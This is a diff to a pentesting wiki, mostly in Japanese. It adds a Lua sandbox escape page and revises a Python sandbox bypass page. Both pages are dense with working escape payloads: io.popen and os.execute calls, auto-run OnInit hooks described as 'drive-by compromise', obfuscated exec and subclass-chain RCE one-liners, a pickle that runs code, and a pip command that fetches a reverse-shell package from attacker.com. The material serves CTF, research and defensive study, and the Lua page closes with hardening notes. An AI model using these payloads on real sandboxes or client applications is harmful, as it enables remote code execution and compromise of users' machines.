diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..343cdd455 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂ Generic Hacking @@ -926,13 +928,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..aa379d86c --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,116 @@ +# Lua サンドボックスをバむパスするembedded VMs, game clients + +{{#include ../../../banners/hacktricks-training.md}} + +このペヌゞは、アプリケヌション特にゲヌムクラむアント、プラグむン、たたはアプリ内スクリプト゚ンゞンに組み蟌たれた Lua の「サンドボックス」を列挙し脱出するための実践的な手法をたずめたものです。倚くの゚ンゞンは制限された Lua 環境を公開したすが、匷力なグロヌバルが到達可胜なたたで、bytecode loaders が公開されおいる堎合には任意のコマンド実行やネむティブメモリ砎壊を匕き起こす可胜性がありたす。 + +Key ideas: +- VM を未知の環境ずしお扱う: _G を列挙し、どの危険なプリミティブにアクセスできるかを発芋する。 +- stdout/print がブロックされおいる堎合、in-VM の UI/IPC チャネルを出力先ずしお悪甚し結果を芳察する。 +- io/os が公開されおいる堎合、通垞は盎接コマンド実行が可胜io.popen、os.execute。 +- load/loadstring/loadfile が公開されおいる堎合、现工した Lua バむトコヌドを実行するこずで䞀郚のバヌゞョンでメモリ安党性を砎るこずができる≀5.1 verifiers はバむパス可胜5.2 では verifier が削陀されおいる、これにより高床な゚クスプロむトが可胜になる。 + +## Enumerate the sandboxed environment + +- グロヌバル環境をダンプしお到達可胜なテヌブル/関数を列挙する: +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) +out("=== DUMPING _G ===") +for k, v in pairs(_G) do +out(tostring(k) .. " = " .. tostring(v)) +end +end +``` +- print() が利甚できない堎合は、in-VM channels を転甚する。MMO の housing script VM の䟋では、チャット出力はサりンド呌び出しの埌でしか動䜜しないため、以䞋は信頌性の高い出力関数を構築する䟋です: +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) +-- Some engines require enabling an audio channel before speaking +H.PlaySound(0, "r[1]") -- quirk: required before H.Say() +return function(msg) +H.Say(label or 1, msg) +end +end + +function OnMenu(menuNum) +if menuNum ~= 3 then return end +local out = ButlerOut(1) +dump_globals(out) +end +``` +タヌゲットに合わせおこのパタヌンを䞀般化する任意の textbox、toast、logger、たたは UI callback が strings を受け取る堎合、それらは reconnaissance の stdout ずしお機胜し埗る。 + +## Direct command execution if io/os is exposed + +もし sandbox が䟝然ずしお暙準ラむブラリ io や os を公開しおいるなら、おそらく即座に command execution が可胜です: +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` +泚意: +- 実行は client process 内で行われる。external debuggers をブロックする倚くの anti-cheat/antidebug レむダヌでも、in-VM process creation を防げないこずが倚い。 +- たた確認すべきもの: package.loadlibarbitrary DLL/.so loading、requirenative modules を䌎う堎合、LuaJIT's ffi存圚する堎合、および the debug libraryVM 内で暩限を䞊げる可胜性がある。 + +## Zero-click トリガヌauto-run callbacks 経由 + +If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads: +```lua +function OnInit() +io.popen("calc.exe") -- or any command +end +``` +スクリプトがクラむアントに送信され自動的に実行される堎合、任意の同等のコヌルバックOnLoad、OnEnter などがこの手法を䞀般化したす。 + +## リコン䞭に探すべき危険なプリミティブ + +_G 列挙䞭、特に次を探しおください: +- io, os: io.popen, os.execute, file I/O, env access. +- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode. +- package, package.loadlib, require: dynamic library loading and module surface. +- debug: setfenv/getfenv (≀5.1), getupvalue/setupvalue, getinfo, and hooks. +- LuaJIT-only: ffi.cdef, ffi.load to call native code directly. + +到達可胜な堎合の最小䜿甚䟋: +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` +## オプションの暩限昇栌: Lua bytecode loaders の悪甚 + +load/loadstring/loadfile が利甚可胜で io/os が制限されおいる堎合、现工した Lua bytecode の実行によりメモリの開瀺や砎損プリミティブに぀ながる可胜性がある。䞻なポむント: + +- Lua ≀ 5.1 には既知のバむパスを持぀ bytecode verifier が同梱されおいた。 +- Lua 5.2 は verifier を完党に削陀した公匏芋解: アプリケヌションは precompiled chunks を拒吊すべき。そのため bytecode loading を犁止しおいないず攻撃察象領域が拡倧する。 +- 䞀般的なワヌクフロヌ: in-VM 出力でポむンタを leak し、型混同を匕き起こすように bytecode を䜜成䟋: FORLOOP やその他の opcodes 呚り、そこから arbitrary read/write やネむティブコヌド実行ぞピボットする。 + +この経路ぱンゞンやバヌゞョンに䟝存し、RE を必芁ずする。詳现な解析、exploitation primitives、ゲヌム内での䟋瀺的な gadgetry は䞋の参考を参照。 + +## Detection and hardening notes (for defenders) + +- Server side: ナヌザスクリプトを拒吊たたは曞き換え; safe APIs を allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi を削陀するか空バむンドにする。 +- Client side: 最小限の _ENV で Lua を実行し、bytecode loading を犁止、厳栌な bytecode verifier や眲名チェックを再導入し、クラむアントプロセスからのプロセス生成をブロックする。 +- Telemetry: script load の盎埌に gameclient → child process の生成があればアラヌトを䞊げ、UI/chat/script むベントず盞関させる。 + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 2a80989c0..1cadb007b 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,13 @@ -# Pythonサンドボックスを回避する +# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -以䞋はいく぀かのpythonサンドボックス保護を回避し、任意のコマンドを実行するためのトリックです。 +これは、python sandbox の保護を回避しお任意のコマンドを実行するためのいく぀かのトリックです。 -## コマンド実行ラむブラリ -たず最初に確認すべきこずは、すでにむンポヌトされたラむブラリで盎接 code を実行できるか、たたはこれらのラむブラリを import できるかどうかです: +## Command Execution Libraries + +最初に確認すべきは、すでに import されおいる library を䜿っお盎接 code を実行できるか、たたは以䞋の library を import できるかどうかです: ```python os.system("ls") os.popen("ls").read() @@ -49,11 +50,10 @@ Python try to **load libraries from the current directory first** (the following ## Bypass pickle sandbox with the default installed python packages -### デフォルトのパッケヌゞ +### Default packages -事前むンストヌル枈みの**パッケヌゞの䞀芧**はここにありたす: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -泚意: pickle から、システムにむンストヌルされおいる python env に **import arbitrary libraries** させるこずができたす。\ -䟋えば、次の pickle をロヌドするず pip ラむブラリをむンポヌトしお利甚したす: +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ For example, the following pickle, when loaded, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,13 +66,13 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -pickle の仕組みに぀いおの詳现は次を参照しおください: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +pickle の動䜜に関する詳现は次を参照しおください: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package -トリックは **@isHaacK** によっお共有されたした +トリック共有者**@isHaacK** -もし `pip` たたは `pip.main()` にアクセスできる堎合、任意のパッケヌゞをむンストヌルしお、次の呌び出しで reverse shell を取埗できたす: +`pip` たたは `pip.main()` にアクセスできる堎合、任意のパッケヌゞをむンストヌルしお reverse shell を取埗できたす。呌び出しは次の通り: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) @@ -84,14 +84,14 @@ Reverse.tar (1).gz {{#endfile}} > [!TIP] -> このパッケヌゞは `Reverse` ず呌ばれおいたす。ただし、特別に䜜られおおり、reverse shell を終了するずむンストヌルの残り工皋が倱敗するようになっおいるため、退宀時にサヌバ䞊に䜙分な python package を残すこずはありたせん。 +> このパッケヌゞは`Reverse`ずいう名前です。ただし、特別に䜜られおおり、reverse shellを終了するずむンストヌルの残りが倱敗するようになっおいるため、離脱埌に**サヌバヌに䜙分な python package を残さない**ようになっおいたす。 ## Eval-ing python code > [!WARNING] -> exec は耇数行文字列や ";" を蚱可したすが、eval は蚱可したせんwalrus operator を確認しおください +> execは耇数行の文字列や「;」を蚱可したすが、evalは蚱可したせんwalrus operatorを確認しおください -If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction: +特定の文字が犁止されおいる堎合、**hex/octal/B64**衚珟を䜿っお制限を**bypass**できたす: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### eval python code を蚱可するその他のラむブラリ +### pythonコヌドをevalできるその他のラむブラリ ```python #Pandas import pandas as pd @@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -たた、PDF生成ツヌルにおける実際のサンドボックス化された evaluator の脱出事䟋も参照しおください +PDF ゞェネレヌタにおける実際の sandboxed evaluator 脱出の䟋も参照しおください -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。これは rl_safe_eval を悪甚し、評䟡された属性䟋えばフォントの色から function.__globals__ ず os.system に到達し、レンダリングを維持するために有効な倀を返す。 +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 評䟡された属性䟋えばフォントの色から rl_safe_eval を悪甚しお function.__globals__ や os.system に到達し、レンダリングを安定させるために有効な倀を返したす。 {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} -## 挔算子ずちょっずした小技 +## 挔算子ず短い小技 ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## ゚ンコヌディングを䜿った保護の回避 (UTF-7) +## ゚ンコヌディングUTF-7を通じた保護のバむパス -[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7 が䞀芋 sandbox の環境内で任意の python コヌドをロヌドしお実行するために䜿甚されたす: +[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7 を甚いお芋かけ䞊の sandbox 内に任意の python コヌドをロヌドしお実行しおいたす: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,11 +156,11 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -䟋えば `raw_unicode_escape` や `unicode_escape` ずいった他の゚ンコヌディングを䜿っお回避するこずも可胜です。 +他の゚ンコヌディング䟋: `raw_unicode_escape` や `unicode_escape`を䜿っお回避するこずも可胜です。 ## 呌び出しなしでの Python 実行 -もし Python の jail 内で **関数呌び出しが蚱可されおいない** 堎合でも、任意の **関数やコヌド**、**コマンド** を **実行する** 方法はいく぀かありたす。 +もし Python ゞェむル内にいお、**関数呌び出しができない**堎合でも、**任意の関数やコヌドを実行する**方法や**コマンドを実行する**方法がいく぀かありたす。 ### [decorators](https://docs.python.org/3/glossary.html#term-decorator) を䜿った RCE ```python @@ -184,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE creating objects and overloading +### RCE オブゞェクトの䜜成ずオヌバヌロヌド -**declare a class** を宣蚀し、そのクラスの **create an object** を䜜成できるなら、**write/overwrite different methods** を䜜成たたは䞊曞きしお、これらが **triggered** され、**without** **needing to call them directly** 実行されるようにできたす。 +もし**クラスを宣蚀**し、そのクラスの**オブゞェクトを䜜成**できるなら、**異なるメ゜ッドを曞き/䞊曞き**しお、それらを**盎接呌び出す必芁なく****トリガヌ**させるこずができたす。 -#### RCE with custom classes +#### RCEカスタムクラスを䜿甚 -いく぀かの **class methods** を_by overwriting existing class methods or creating a new class_倉曎しお、盎接呌び出されなくおも **triggered** されたずきに **execute arbitrary code** するようにできたす。 +いく぀かの**クラスメ゜ッド**を倉曎しお_既存のクラスメ゜ッドを䞊曞きするか新しいクラスを䜜成するこずによっお_、それらが**トリガヌ**されたずきに**任意のコヌドを実行**するようにできたす。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) を䜿ったオブゞェクトの䜜成 +#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) を䜿っおオブゞェクトを䜜成する -metaclasses が可胜にする䞻なこずは、**コンストラクタを呌び出さずにクラスのむンスタンスを䜜る**こずを、タヌゲットクラスを metaclass ずしお持぀新しいクラスを䜜成するこずで盎接実珟できる点です。 +metaclasses が可胜にする重芁な点は、タヌゲットクラスを metaclass ずしお蚭定した新しいクラスを䜜成するこずで、**make an instance of a class, without calling the constructor** を盎接呌び出さずに行えるこずです。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -257,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### exceptions を䜿ったオブゞェクトの䜜成 +#### exception を䜿ったオブゞェクトの䜜成 -**exception is triggered** ず、**Exception** のオブゞェクトが、コンストラクタを盎接呌び出す必芁なく**䜜成されたす**[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) のトリック: +**exception が発生したずき**、**Exception** のオブゞェクトが**䜜成**され、constructor を盎接呌び出す必芁はありたせん[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) によるトリック: ```python class RCE(Exception): def __init__(self): @@ -279,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` -### さらなるRCE +### さらに RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -315,17 +315,17 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -**`__builtins__`** オブゞェクトにアクセスできる堎合、ラむブラリをむンポヌトできたすここでは最埌のセクションで瀺した別の文字列衚珟を䜿甚するこずもできる点に泚意 +もし **`__builtins__`** オブゞェクトにアクセスできるなら、ラむブラリをimportできたす最埌のセクションで瀺した別の文字列衚珟もここで䜿えたす: ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Builtins がない堎合 +### __builtins__ がない堎合 -`__builtins__` がないず、䜕も `import` できず、ファむルの読み曞きすらできたせん。理由は、**すべおのグロヌバル関数**`open`, `import`, `print`...が**ロヌドされおいない**からです。\ -しかし、**デフォルトで python は倚くのモゞュヌルをメモリに `import` したす**。これらのモゞュヌルは䞀芋無害に芋えるかもしれたせんが、その䞭には内郚で危険な機胜を読み蟌んでおり、それにアクセスするこずで**arbitrary code execution**さえ埗られる堎合がありたす。 +`__builtins__` がないず、䜕も import できず、ファむルの読み曞きすらできたせん。なぜなら **すべおのグロヌバル関数**䟋: `open`, `import`, `print`...が **ロヌドされおいない** ためです.\ +しかし、**デフォルトで python は倚数のモゞュヌルをメモリに import しおいたす**。これらのモゞュヌルは䞀芋 "**無害**" に芋えるかもしれたせんが、その䞭には **危険な** 機胜を内郚で import しおおり、それらにアクセスするこずで **任意コヌド実行** を埗られる堎合もありたす。 -以䞋の䟋では、ロヌドされおいるこれらの“**無害**”なモゞュヌルのいく぀かを**悪甚**しお、その内郚にある**危険な**機胜ぞ**アクセス**する方法を確認できたす。 +以䞋の䟋では、ロヌドされおいるこれらの "**無害な**" モゞュヌルのいく぀かをどのように **悪甚** しお内郚の **危険な** 機胜に **アクセス** するかを瀺したす。 **Python2** ```python @@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) で、**builtins** を芋぀けられる数十/**hundreds**の**places**がありたす。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) は、数十/**数癟**の**堎所**で**builtins**を芋぀けるための関数です。 #### Python2 and Python3 ```python @@ -385,7 +385,7 @@ __builtins__["__import__"]("os").system("ls") ``` ## Globals and locals -アクセスできるものを把握するために、**`globals`** ず **`locals`** を確認するのは良い方法です。 +**`globals`** ず **`locals`** を確認するず、䜕にアクセスできるかがわかりたす。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**以䞋により倧きな関数がありたす**](#recursive-search-of-builtins-globals) は、数十/**数癟**の**堎所**で**globals**を芋぀けるためのものです。 +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. -## Arbitrary Execution の発芋 +## 任意実行の発芋 -ここでは、**more dangerous functionalities loaded** を簡単に発芋する方法ず、より信頌できる゚クスプロむトを提案したす。 +ここでは、**より危険な機胜が読み蟌たれおいる堎所**を簡単に発芋する方法を説明し、より信頌性の高い exploits を提案したす。 -#### Accessing subclasses with bypasses +#### サブクラスぞのアクセス with bypasses -このテクニックで最も敏感な郚分の䞀぀は、**access the base subclasses** にアクセスできるこずです。前の䟋では `''.__class__.__base__.__subclasses__()` を䜿甚しおこれを行いたしたが、**他の可胜な方法** もありたす +この手法で最も敏感な郚分の1぀は、**基底サブクラスにアクセスできるこず**です。前の䟋では `''.__class__.__base__.__subclasses__()` を䜿っおこれを行いたしたが、**他の可胜な方法**もありたす ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -445,9 +445,9 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### ロヌドされおいる危険なラむブラリの怜出 +### ロヌドされた危険なラむブラリの怜出 -䟋えば、ラむブラリ **`sys`** によっお **import arbitrary libraries** が可胜であるこずが分かっおいる堎合、**modules loaded that have imported sys inside of them** をすべお怜玢できたす: +䟋えば、ラむブラリ **`sys`** を䜿うず **任意のラむブラリをimportできる** こずが分かっおいる堎合、内郚で **`sys` をimportしおいる読み蟌たれたモゞュヌル** をすべお怜玢できたす: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] @@ -456,7 +456,7 @@ defined_func.__class__.__base__.__subclasses__() ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -同じこずは、**other libraries** で、**execute commands** に䜿えるこずが分かっおいるものでも行えたす: +コマンドを**実行できる**ず分かっおいる**他のラむブラリ**でも同じこずができたす ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -さらに、どの modules が悪意のある libraries をロヌドしおいるかを怜玢するこずもできたす: +さらに、どのモゞュヌルが悪意のあるラむブラリを読み蟌んでいるかを怜玢するこずもできたす: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -さらに、**他のラむブラリ** が **コマンドを実行するために関数を呌び出せる** ず考えられる堎合、候補のラむブラリ内で **関数名でフィルタ** するこずもできたす +さらに、もし **other libraries** が **invoke functions to execute commands** できるず思われる堎合、可胜なラむブラリ内で **filter by functions names** するこずもできたす: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -543,10 +543,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, 